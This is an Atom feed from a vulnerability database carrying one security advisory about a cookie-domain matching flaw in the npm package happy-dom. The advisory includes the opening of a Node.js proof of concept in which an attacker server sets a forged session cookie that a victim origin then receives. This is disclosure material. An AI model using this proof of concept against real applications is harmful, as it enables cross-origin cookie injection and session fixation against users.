<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://db.gcve.eu/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-30T02:59:38.369138+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@gcve.eu</email>
  </author>
  <link href="https://db.gcve.eu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://db.gcve.eu/vuln/ghsa-5fpq-26gf-qwcr</id>
    <title>GHSA-5fpq-26gf-qwcr — Happy DOM has cookie scope forgery: no DNS-label boundary on Domain= matching , attacker origin sets victim cookies</title>
    <updated>2026-10-30T02:59:38.370175+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> npm: happy-dom</p>
<p>### Summary
A cookie-scoping bug in happy-dom lets an attacker origin set cookies that a victim origin then receives, diverging from browser semantics.</p>
<p>### Details
happy-dom matches Domain=example.com against notexample.com (endsWith without a DNS-label boundary), diverging from browser semantics (verified 20.11.6 npm latest: cookieMatchesURL(Domain=example.com, url=http://notexample.com) = true). Relevant where happy-dom is used for SSR/prerender cookie handling. Matching in src/cookie/CookieContainer.ts.</p>
<p>### PoC</p>
<p>Run:
```bash
node poc-happydom-cookie-domain.js
```</p>
<p>Full proof-of-concept source (poc-happydom-cookie-domain.js):
```js
// PoC: happy-dom cookie-domain scoping gap -&gt; cross-origin cookie injection / session fixation
// Chain: app (window at http://localhost:PORT2) fetches attacker server (http://127.0.0.1:PORT1)
//        -&gt; attacker Set-Cookie with Domain=localhost (a host that is NOT a suffix of 127.0.0.1)
//        -&gt; happy-dom stores it (a real browser rejects: RFC 6265 §5.3.6-7 + PSL)
//        -&gt; app's same-origin fetch to http://localhost:PORT2/api/account carries the forged cookie
// Run:  cd C:/Users/rncb0/AppData/Local/Temp/0day &amp;&amp; node poc/poc-happydom-cookie-domain.js
const http = require('http');
const { Window } = require('happy-dom');</p>
<p>const ATK_PORT = 19311; // attacker server, 127.0.0.1
const VIC_PORT = 19312; // victim server, localhost</p>
<p>let victimReceivedCookies = [];</p>
<p>let attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=localhost; Pat…</p></div>
    </content>
    <link href="https://db.gcve.eu/vuln/ghsa-5fpq-26gf-qwcr"/>
  </entry>
</feed>
